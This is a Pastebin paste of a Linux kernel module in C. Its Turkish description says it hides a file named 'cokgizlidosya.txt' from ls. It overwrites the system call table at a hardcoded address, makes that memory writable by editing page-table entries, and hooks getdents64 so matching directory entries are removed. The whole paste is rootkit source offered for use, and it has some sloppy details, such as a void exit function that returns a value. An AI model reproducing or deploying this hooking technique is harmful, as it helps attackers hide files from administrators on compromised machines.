Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <linux/module.h>
- #include <linux/init.h>
- #include <linux/kernel.h>
- #include <linux/moduleparam.h>
- #include <linux/unistd.h>
- #include <linux/semaphore.h>
- #include <linux/dirent.h>
- #include <asm/cacheflush.h>
- MODULE_AUTHOR("blacknbunny");
- MODULE_DESCRIPTION("LS Komutundan cokgizlidosya.txt yi gizlemek");
- MODULE_LICENSE("GPL");
- void **sys_call_table;
- #define DOSYA_ISMI "cokgizlidosya.txt"
- asmlinkage int (*org_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
- asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
- {
- int rtn;
- struct linux_dirent64 *cur = dirp;
- int i = 0;
- rtn = org_getdents64(fd, dirp, count);
- while (i < rtn) {
- if (strncmp(cur->d_name, DOSYA_ISMI, strlen(DOSYA_ISMI)) == 0) {
- int reclen = cur->d_reclen;
- char *next_rec = (char *)cur + reclen;
- int len = (int)dirp + rtn - (int)next_rec;
- memmove(cur, next_rec, len);
- rtn -= reclen;
- continue;
- }
- i += cur->d_reclen;
- cur = (struct linux_dirent*) ((char*)dirp + i);
- }
- return rtn;
- }
- int set_page_rw(unsigned long addr)
- {
- unsigned int level;
- pte_t *pte = lookup_address(addr, &level);
- if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
- return 0;
- }
- int set_page_ro(unsigned long addr)
- {
- unsigned int level;
- pte_t *pte = lookup_address(addr, &level);
- pte->pte = pte->pte &~_PAGE_RW;
- return 0;
- }
- static int __init getdents_hook_init(void)
- {
- sys_call_table = (void*)0xffffffff820001c0;
- org_getdents64 = sys_call_table[__NR_getdents64];
- set_page_rw(sys_call_table);
- sys_call_table[__NR_getdents64] = hook_getdents64;
- return 0;
- }
- static void __exit getdents_hook_exit(void)
- {
- sys_call_table[__NR_getdents64] = org_getdents64;
- set_page_ro(sys_call_table);
- return 0;
- }
- module_init(getdents_hook_init);
- module_exit(getdents_hook_exit);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement